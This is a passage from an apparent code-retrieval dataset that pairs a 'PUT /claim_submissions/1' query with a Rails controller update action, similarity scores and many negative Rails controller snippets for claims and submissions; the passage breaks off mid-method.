"def postEntityClaim( entity_id, claimed_user_id, claimed_reseller_id, expiry_date, claimed_date, claim_method, phone_number, referrer_url, referrer_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['claimed_user_id'] = claimed_user_id\n params['claimed_reseller_id'] = claimed_reseller_id\n params['expiry_date'] = expiry_date\n params['claimed_date'] = claimed_date\n params['claim_method'] = claim_method\n params['phone_number'] = phone_number\n params['referrer_url'] = referrer_url\n params['referrer_name'] = referrer_name\n return doCurl(\"post\",\"/entity/claim\",params)\n end",
"def data_synchronise_submissions submissions\n submissions.each do |submission|\n data_synchronise_submission submission\n end\n end"
] |
[
"0.71465874",
"0.63417673",
"0.6149975",
"0.6113587",
"0.61065835",
"0.6066622",
"0.60623986",
"0.6039936",
"0.6032935",
"0.5940368",
"0.5926616",
"0.5919459",
"0.5914436",
"0.5873408",
"0.58711284",
"0.5820877",
"0.58056426",
"0.5804987",
"0.5800932",
"0.5794164",
"0.57851136",
"0.5776748",
"0.57722855",
"0.57620007",
"0.5752594",
"0.5752594",
"0.57488704",
"0.5723045",
"0.5717342",
"0.5713689",
"0.5712571",
"0.57056344",
"0.5688936",
"0.5666456",
"0.56490326",
"0.56354195",
"0.562272",
"0.5620877",
"0.5619753",
"0.5614916",
"0.55933964",
"0.55857944",
"0.55852693",
"0.55738306",
"0.5552535",
"0.55441475",
"0.55402076",
"0.55320084",
"0.5529211",
"0.55246824",
"0.5510221",
"0.54996514",
"0.5468117",
"0.5465252",
"0.5456112",
"0.54496557",
"0.54387856",
"0.5432475",
"0.54317296",
"0.541943",
"0.54059464",
"0.53856874",
"0.5381266",
"0.53795004",
"0.5379482",
"0.5369251",
"0.5365883",
"0.5362213",
"0.5354665",
"0.53477514",
"0.5343726",
"0.53371507",
"0.5327216",
"0.5323927",
"0.5316532",
"0.5315678",
"0.52974963",
"0.52965486",
"0.52900064",
"0.5289021",
"0.5280257",
"0.5279023",
"0.5278124",
"0.52736694",
"0.5260323",
"0.525055",
"0.52491695",
"0.52482796",
"0.52480125",
"0.5247392",
"0.52432543",
"0.5240919",
"0.5238417",
"0.52354413",
"0.5233288",
"0.52277553",
"0.5219341",
"0.52186996",
"0.5216774",
"0.5209231"
] |
0.71877235
|
0
|
PUT /claim_submissions/1 PUT /claim_submissions/1.json
|
def update
@claim_submission = ClaimSubmission.find(params[:id])
respond_to do |format|
if @claim_submission.update_attributes(params[:claim_submission])
format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @claim_submission.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n submission = Submission.new(submission_params)\n unless submission.save\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n claim = Claim.new(\n insured_id: submission.insured_id,\n provider_id: submission.provider_id\n )\n unless claim.save\n submission.delete\n render json: {errors: claim.errors.full_messages}, status: :bad_request\n return\n end\n\n submission.claim = claim\n unless submission.save\n submisson.delete\n claim.delete\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n render json: {submission: submission.id, claim: claim.id}\n end",
"def update\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @claim_submission = ClaimSubmission.new(params[:claim_submission])\n\n respond_to do |format|\n if @claim_submission.save\n format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully created.' }\n format.json { render json: @claim_submission, status: :created, location: @claim_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @claim_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end",
"def update_submission\n id = unsafe_params[:id].to_i\n fail \"id needs to be an Integer\" unless id.is_a?(Integer)\n\n title = unsafe_params[:title]\n fail \"title needs to be a String\" unless title.is_a?(String)\n\n content = unsafe_params[:content] || \"\"\n fail \"content needs to be a String\" unless content.is_a?(String)\n\n submission = nil\n Submission.transaction do\n submission = Submission.editable_by(@context).find(unsafe_params[:id])\n fail \"no submission found\" unless submission\n submission.update!(desc: content)\n submission.job.update!(name: title)\n end\n\n render json: {\n id: submission.id,\n }\n end",
"def update\n respond_to do |format|\n if @submission.update(params.require(:submission).permit(:email))\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @submission }\n else\n format.html { render :edit }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n claim = @repo.claims.new(user: current_user)\n if claim.save\n redirect_to :back, notice: \"Your request has been sent to owner\"\n else\n flash[:error] = claim.errors.full_messages.join('\\n')\n redirect_to :back\n end\n end",
"def update\n @submission = Submission.find(params[:id])\n @submission.update(submission_params)\n redirect_to @submission\n end",
"def new\n @claim_submission = ClaimSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @claim_submission }\n end\n end",
"def update\n @shop_claim = ShopClaim.find(params[:id])\n\n if @shop_claim.update(shop_claim_params)\n head :no_content\n else\n render json: @shop_claim.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @claim_submission = ClaimSubmission.find(params[:id])\n @claim_submission.destroy\n\n respond_to do |format|\n format.html { redirect_to claim_submissions_url }\n format.json { head :no_content }\n end\n end",
"def update\n @submission_revision = @submission.last_created_revision\n data = submission_params\n if data\n if policy(@submission).update?\n @submission.sm_update!(data)\n @file_records = @submission_revision ? %w[author_file author_expert_file].map do |type|\n @submission_revision.get_or_new_file_by_type type\n end : []\n end\n end\n\n case params[:op]\n when 'submit'\n if policy(@submission).submit?\n @submission.sm_submit!\n end\n when 'revise'\n if policy(@submission).revise?\n @submission.sm_revise!\n end\n end\n\n respond_to do |format|\n# if @submission.update(submission_params)\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @submission }\n# else\n# format.html { render :edit }\n# format.json { render json: @submission.errors, status: :unprocessable_entity }\n# end\n end\n end",
"def show\n @claim_submission = ClaimSubmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @claim_submission }\n end\n end",
"def update\n respond_to do |format|\n if @submission.update(submission_params)\n format.html { redirect_to @submission}\n format.json { render :show, status: :ok, location: @submission }\n else\n format.html { render :edit }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submission = Submission.find(params[:submission_id])\n @award_deadline = Deadline.order(\"created_at\").last\n respond_to do |format|\n if @submission_detail.update(submission_detail_params)\n format.html { redirect_to submission_submission_detail_path(@submission, @submission_detail), notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @submission_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @submission.update(submission_params)\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @submission = Submission.find(params[:id])\n if @submission.with_user(current_user).update(submission_params)\n format.html { redirect_to submissions_path, notice: 'Submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def claim\n put :claim\n end",
"def update\n respond_to do |format|\n if @incident_proof.update(incident_proof_params)\n format.html { redirect_to @incident_proof, notice: 'Incident proof was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_proof }\n else\n format.html { render :edit }\n format.json { render json: @incident_proof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @form_submission, :update?\n respond_to do |format|\n if @form_submission.update(form_submission_params)\n format.html { redirect_to @form_submission, notice: \"Form submission was successfully updated.\" }\n format.json { render :show, status: :ok, location: @form_submission }\n else\n format.html { render :edit }\n format.json { render json: @form_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @claimant = Claimant.find(params[:id])\n\n respond_to do |format|\n if @claimant.update_attributes(params[:claimant])\n format.html { redirect_to @claimant, notice: 'Claimant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @claimant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @submission.update(submission_params)\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @submission }\n else\n format.html { render :edit }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @submission.update(submission_params)\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @submission }\n else\n format.html { render :edit }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_submission = TestSubmission.find(params[:id])\n\n respond_to do |format|\n if @test_submission.update_attributes(params[:test_submission])\n format.html { redirect_to @test_submission, :notice => 'Test submission was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process_claim!\n raise 'submission already present' if submission.present?\n\n assert_veteran_status\n\n carma_submission = CARMA::Models::Submission.from_claim(claim, build_metadata).submit!(carma_client)\n\n @submission = Form1010cg::Submission.new(\n carma_case_id: carma_submission.carma_case_id,\n submitted_at: carma_submission.submitted_at\n )\n\n submit_attachment\n\n submission\n end",
"def update\n respond_to do |format|\n if @research_submission.update(research_submission_params)\n format.html { redirect_to @research_submission, notice: 'Research submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @research_submission }\n else\n format.html { render :edit }\n format.json { render json: @research_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if update_submission\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @emails = Email.all\n @messages = EmailMessage.all\n @email_submission = EmailSubmission.find(params[:id])\n\n respond_to do |format|\n if @email_submission.update_attributes(params[:email_submission])\n format.html { redirect_to @email_submission, notice: 'Email submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @submission.with_user(current_admin_user).update(submission_params)\n format.html { redirect_to admin_submissions_path, notice: 'Submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim.update(claim_params)\n format.html { redirect_to @claim, notice: 'Claim was successfully updated.' }\n format.js\n else\n format.html { render :edit }\n format.js { render 'addService' }\n end\n end\n end",
"def process_claim!\n assert_veteran_status\n\n carma_submission = CARMA::Models::Submission.from_claim(claim, build_metadata).submit!\n\n Form1010cg::Submission.new(\n carma_case_id: carma_submission.carma_case_id,\n submitted_at: carma_submission.submitted_at\n )\n end",
"def update\n @submission = Submission.in_conference(current_conference).\n find(params[:id])\n verify_ownership(@submission)\n @submission.do_not_validate_title_abstract_lengths = true\n @submission.do_not_validate_submission_categories = true\n\n if @submission.update_attributes(params[:submission])\n flash[:notice] = \"Submission was successfully updated.\"\n else\n flash[:error] = \"Failed to update Submission. #{@submission.errors.full_messages}\"\n end\n\n respond_with @submission, :success_action => :back\n end",
"def submit_form_2122\n validate_json_schema\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(header_md5: header_md5,\n source_name: source_name)\n unless power_of_attorney&.status&.in?(%w[submitted pending])\n power_of_attorney = ClaimsApi::PowerOfAttorney.create(\n status: ClaimsApi::PowerOfAttorney::PENDING,\n auth_headers: auth_headers,\n form_data: form_attributes,\n source_data: source_data,\n header_md5: header_md5\n )\n\n unless power_of_attorney.persisted?\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_by(md5: power_of_attorney.md5)\n end\n\n power_of_attorney.save!\n end\n\n ClaimsApi::PoaUpdater.perform_async(power_of_attorney.id)\n\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end",
"def update\n respond_to do |format|\n if @claimauthorization.update(claimauthorization_params)\n format.html { redirect_to @claimauthorization, notice: 'Claimauthorization was successfully updated.' }\n format.json { render :show, status: :ok, location: @claimauthorization }\n else\n format.html { render :edit }\n format.json { render json: @claimauthorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if request.headers['Content-Disposition']\n filename = request.headers['Content-Disposition'].split('filename=').last\n filename = filename.scan(/(?<=\")[^\"]+/).first if filename.include?('\"')\n filename = filename.split('/').last.split('.')\n extension = filename.pop\n name = filename.join('.')\n tmp_file = \"#{Rails.root}/tmp/#{name}.#{extension}\"\n id = 0\n while File.exists?(tmp_file)\n id += 1\n tmp_file = \"#{Rails.root}/tmp/#{name}-#{id}.#{extension}\"\n end\n File.open(tmp_file, 'wb') do |f|\n f.write request.body.read\n end\n c = Cocaine::CommandLine.new('file', '-b --mime-type :file')\n mime_type = c.run(file: tmp_file).strip\n\n if Submission::STORY_CONTENT_TYPES.include?(mime_type)\n @submission = SubmissionStory.new\n doc = Parchment.read(tmp_file)\n @submission.description = doc.to_html.gsub('\\\\n', '')\n else\n @submission = Submission.new\n end\n File.open(tmp_file) do |f|\n @submission.file = f\n end\n\n # Dancing around strong params\n params[:submission] = {}\n params[:submission][:cheat] = \"This should be rejected, but is necessary.\"\n else\n @submission = Submission.new(submission_params)\n end\n\n @submission.profile = current_profile\n @submission.save!\n\n FileUtils.rm(tmp_file) if tmp_file\n\n if 'SubmissionImage' == @submission.type\n SubmissionImage.find(@submission.id).save_metadata # needs to be done separately, for now\n @submission.reload\n end\n\n respond_to do |format|\n if update_submission\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render '/submissions/show', status: :created, location: submission_url(@submission) }\n else\n format.html do\n set_submission_page_script\n render action: 'edit'\n end\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @claim = current_insurer.claims.build(claim_params)\n\n respond_to do |format|\n if @claim.save\n format.html { redirect_to addService_insurer_claim_path(id: @claim.id), notice: 'Claim was successfully created.' }\n format.json \n else\n format.html { render :new }\n format.json \n end\n end\n end",
"def update!(**args)\n @claim_appearances = args[:claim_appearances] if args.key?(:claim_appearances)\n @claim_author = args[:claim_author] if args.key?(:claim_author)\n @claim_date = args[:claim_date] if args.key?(:claim_date)\n @claim_first_appearance = args[:claim_first_appearance] if args.key?(:claim_first_appearance)\n @claim_location = args[:claim_location] if args.key?(:claim_location)\n @claim_reviewed = args[:claim_reviewed] if args.key?(:claim_reviewed)\n @rating = args[:rating] if args.key?(:rating)\n @url = args[:url] if args.key?(:url)\n end",
"def patch_existing_submission(submission_id, payload={}, headers=default_headers)\n # set the currentPage hash if currentPage was passed as a string\n payload[\"currentPage\"] = { \"name\" => payload[\"currentPage\"] } if payload[\"currentPage\"].is_a? String\n # set origin hash if origin was passed as a string\n payload[\"origin\"] = { \"id\" => payload[\"origin\"] } if payload[\"origin\"].is_a? String\n # set parent hash if parent was passed as a string\n payload[\"parent\"] = { \"id\" => payload[\"parent\"] } if payload[\"parent\"].is_a? String\n # prepare any attachment values\n payload[\"values\"] = prepare_updated_submission_values(submission_id, payload[\"values\"])\n # Create the submission\n @logger.info(\"Patching a submission with id \\\"#{submission_id}\\\"\")\n patch(\"#{@api_url}/submissions/#{submission_id}\", payload, headers)\n end",
"def update\n respond_to do |format|\n @issue.votes = 0\n if @issue.update(issue_params)\n format.html { redirect_to @issue, notice: 'Issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @inquiry\n\n if @inquiry.update(inquiry_params)\n head :no_content\n else\n render json: {errors:@inquiry.errors.messages}, status: :unprocessable_entity\n end\n\n end",
"def update\n respond_to do |format|\n if @task_submission.update(task_submission_params)\n format.html { redirect_to @task_submission, notice: 'Task submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_submission }\n else\n format.html { render :edit }\n format.json { render json: @task_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submission = Submission.find(params[:id])\n\n if @submission.update_attributes(params[:submission])\n redirect_to(@submission, :notice => 'Submission was successfully updated.')\n else\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @budget_approver.update(budget_approver_params)\n format.html { redirect_to @budget_approver, notice: 'Budget approver page was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_approver }\n else\n format.html { render :edit }\n format.json { render json: @budget_approver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @claim = Claim.new(claim_params)\n\n respond_to do |format|\n if @claim.save\n format.html { redirect_to @claim, notice: 'Claim was successfully created.' }\n format.json { render action: 'show', status: :created, location: @claim }\n else\n format.html { render action: 'new' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @title = 'Edit Application'\n @submission = Submission.find(params[:id])\n if remember_token[0] != @submission.user_id\n redirect_to(user_profile_path(remember_token[0]))\n end\n respond_to do |format|\n if @submission.update_attributes(params[:submission])\n format.html { redirect_to(@submission, :notice => 'Submission was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @submission = Submission.find(params[:id])\n part=Participation.find(@submission.Participation_id)\n comp=Competition.find(part.Competition_id)\n if current_user.id == part.User_id\n if comp.endtime>Time.now and comp.starttime<Time.now\n respond_to do |format|\n if @submission.response!=nil\n @submission.submited=Time.now\n end\n if @submission.update_attributes(params[:submission])\n if comp.publicscore\n Submission.evaluate(@submission)\n end\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to @submission, status: 'Competition expired.'\n end\n else\n redirect_to @submission, status: 'Submissions can only be modified by the participant.'\n end\n end",
"def update\n @survey_choice = Survey::Choice.find(params[:id])\n\n respond_to do |format|\n if @survey_choice.update_attributes(params[:survey_choice])\n format.html { redirect_to @survey_choice, notice: 'Choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_choice.errors, status: :unprocessable_entity }\n5 end\n end\n end",
"def update\n\n params[:requirement][:industry_ids] ||= []\n if params['Submit_for_Approval']\n @requirement.status = 'Submitted'\n end\n if params[:requirement][:status] == \"Rejected\"\n Requirement.destroy(params[:id])\n redirect_to requirements_path\n else\n respond_to do |format|\n if @requirement.update_attributes(params[:requirement])\n if (params['Submit_for_Approval']) and (@requirement.status != 'Submitted')\n flash[:error] = 'Could not submit requirement for approval'\n end\n format.html { redirect_to @requirement, notice: 'Requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requirement.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end",
"def update\n @submission = Submission.find(params[:id])\n\n respond_to do |format|\n if @submission.update_attributes(params[:submission])\n format.html { redirect_to(@submission, :notice => 'Submission was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @submission = Submission.find(params[:id])\n\n respond_to do |format|\n if @submission.update_attributes(params[:submission])\n format.html { redirect_to(@submission, :notice => 'Submission was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n questions_nil() #sets all to nil\n \n respond_to do |format|\n if @bes_asset.update(bes_asset_params) #gets all info and puts it to show\n @bes_asset.proof.url # => '/url/to/file.png'\n @bes_asset.proof.current_path # => 'path/to/file.png'\n @bes_asset.proof_identifier # => 'file.png'\n fix_questions() #puts N/A in nil parts\n fix_bcs_bca_rating()\n @bes_asset.save\n format.html { redirect_to @bes_asset, notice: 'Asset was successfully updated!' }\n format.json { render :show, status: :ok, location: @bes_asset }\n else\n format.html { render :edit }\n format.json { render json: @bes_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submission = Submission.find(params[:id])\n\n respond_to do |format|\n if @submission.update_attributes(params[:submission])\n flag = true\n @submission.score = 0 \n @submission.submitted_answers.each do |answer|\n if answer.points\n @submission.score += answer.points\n flag = false\n end\n end\n if flag == true\n @submission.score=nil\n end\n @submission.save\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload_form_526\n validate_document_provided\n validate_documents_content_type\n validate_documents_page_size\n\n pending_claim = ClaimsApi::AutoEstablishedClaim.pending?(params[:id])\n\n if pending_claim && (pending_claim.form_data['autoCestPDFGenerationDisabled'] == true)\n pending_claim.set_file_data!(documents.first, EVSS_DOCUMENT_TYPE)\n pending_claim.save!\n\n ClaimsApi::Logger.log('526', claim_id: pending_claim.id, detail: 'Uploaded PDF to S3')\n ClaimsApi::ClaimEstablisher.perform_async(pending_claim.id)\n ClaimsApi::ClaimUploader.perform_async(pending_claim.id)\n\n render json: pending_claim, serializer: ClaimsApi::AutoEstablishedClaimSerializer\n elsif pending_claim && (pending_claim.form_data['autoCestPDFGenerationDisabled'] == false)\n message = <<-MESSAGE\n Claim submission requires that the \"autoCestPDFGenerationDisabled\" field\n must be set to \"true\" in order to allow a 526 PDF to be uploaded\n MESSAGE\n raise ::Common::Exceptions::UnprocessableEntity.new(detail: message)\n else\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Resource not found')\n end\n end",
"def update\n @admission.update_attributes(admission_params)\n end",
"def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end",
"def claims!(submission)\n if not submission.claimed? and submission.owner != self\n submission.profile.notifications.create(notifyable: submission, rules: 'submission:claim')\n submission.owner = self\n submission.save\n end\n end",
"def update\n respond_to do |format|\n if @contact_submission.update(contact_submission_params)\n format.html { redirect_to @contact_submission, notice: 'Contact submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @contact_submission }\n else\n format.html { render :edit }\n format.json { render json: @contact_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @resubmit = Resubmit.find(params[:id])\n\n respond_to do |format|\n if @resubmit.update_attributes(params[:resubmit])\n format.html { redirect_to @resubmit, notice: 'Resubmit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resubmit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @req.update(req_params)\n flash[:notice] = \"Your requirement has been saved\"\n format.html { redirect_to @req }\n format.json { render :show, status: :ok, location: @req }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @req.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tr_rfq_submission.update(tr_rfq_submission_params)\n format.html { redirect_to @tr_rfq_submission, notice: 'Tr rfq submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @tr_rfq_submission }\n else\n format.html { render :edit }\n format.json { render json: @tr_rfq_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @submission.update(submission_params)\n format.html do\n redirect_to [@activity.learning_unit.course, @activity.learning_unit, @activity],\n notice: 'Submission was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @submission }\n else\n format.html { render :edit }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submission = Submission.find(params[:id])\n \n if @submission.update(submission_param)\n redirect_to action: 'show', id: @submission.id\n else\n render '/submissions/edit'\n end\n end",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @student_submissions = args[:student_submissions] if args.key?(:student_submissions)\n end",
"def update\n respond_to do |format|\n if @submission_method.update(submission_method_params)\n format.html { redirect_to @submission_method, notice: 'Submission method was successfully updated.' }\n format.json { render :show, status: :ok, location: @submission_method }\n else\n format.html { render :edit }\n format.json { render json: @submission_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @incident = Incident.find(params[:id])\n\n if @incident.update(incident_params)\n head :no_content\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end",
"def update\n @claim_type = ClaimType.find(params[:id])\n\n respond_to do |format|\n if @claim_type.update_attributes(params[:claim_type])\n flash[:notice] = 'ClaimType was successfully updated.'\n format.html { redirect_to(@claim_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @claim_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @issue_master.update(issue_master_params)\n @issue_master = IssueMaster.new\n @issue_masters = IssueMaster.all \n end",
"def set_claim\n @claim = @company.claims.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @funding_application_submission.update(funding_application_submission_params)\n format.html { redirect_to @funding_application_submission, notice: 'Funding application submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @funding_application_submission }\n else\n format.html { render :edit }\n format.json { render json: @funding_application_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @male_shot_put_head.update(male_shot_put_head_params)\n format.html { redirect_to @male_shot_put_head, notice: 'Male shot put head was successfully updated.' }\n format.json { render :show, status: :ok, location: @male_shot_put_head }\n else\n format.html { render :edit }\n format.json { render json: @male_shot_put_head.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim_datum.update(claim_datum_params)\n format.html { redirect_to @claim_datum, notice: 'Claim datum was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_datum }\n else\n format.html { render :edit }\n format.json { render json: @claim_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sub_issue.update(sub_issue_params)\n format.html { redirect_to @sub_issue, notice: 'Sub issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_issue }\n else\n format.html { render :edit }\n format.json { render json: @sub_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end",
"def update\n @submission = Submission.find(params[:id])\n\n respond_to do |format|\n if @submission.update_attributes(params[:submission])\n flash[:notice] = 'Submission was successfully updated.'\n format.html { redirect_to(submission_path(@submission)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(:student_id => current_student.id, :assignment_id => params[:assignment_id])\n\n respond_to do |format|\n if @submission.save\n @assignment = @submission.assignment\n @assignment.questions.each do |question| \n answer = SubmittedAnswer.new(:submission_id => @submission.id, :question_id => question.id)\n answer.save\n end\n format.html { redirect_to edit_submission_path(@submission), notice: 'Submission was successfully created.' }\n format.json { render json: @submission, status: :created, location: @submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:submission][:verdict] = 'pending'\n create_base(params[:submission]) \n end",
"def update\n if params[:assignment][:url] # The user uploaded a file\n if params[:assignment][:user_id] == '-1'\n redirect_to :back, flash: {error: \"Please select the team you are submitting for.\"}\n return\n end\n @user = User.find(params[:assignment][:user_id])\n @assignment = Assignment.find(params[:assignment][:assignment_id])\n @submission = Submission.new(params['assignment'])\n if @submission.url.class.name != 'String'\n puts 'Error, wonky url: ' + @submission.url.inspect + ' for ' + @user.email\n redirect_to :back, flash: {error: 'Submission Failed. Try Again. Be Patient.'}\n return\n else\n old_submissions = @assignment.submissions.\n select{|s| s.user.nil? or s.user.submitting_id(@submission) == params[:assignment][:user_id].to_i }\n end\n respond_to do |format|\n if @submission.save\n old_submissions.each{|s| s.destroy }\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, flash: {error: combine(@submission.errors.messages[:url])} }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n elsif current_user.instructor?(@course)\n @assignment = Assignment.find(params[:id])\n if params[:commit] == 'End All Activity'\n @assignment.submissions.each do |s|\n s.instructor_approved = true\n s.save!\n end\n end\n params['assignment']['submission_due_time'] = params['assignment']['submission_due_time(4i)'] + ':' + params['assignment']['submission_due_time(5i)']\n 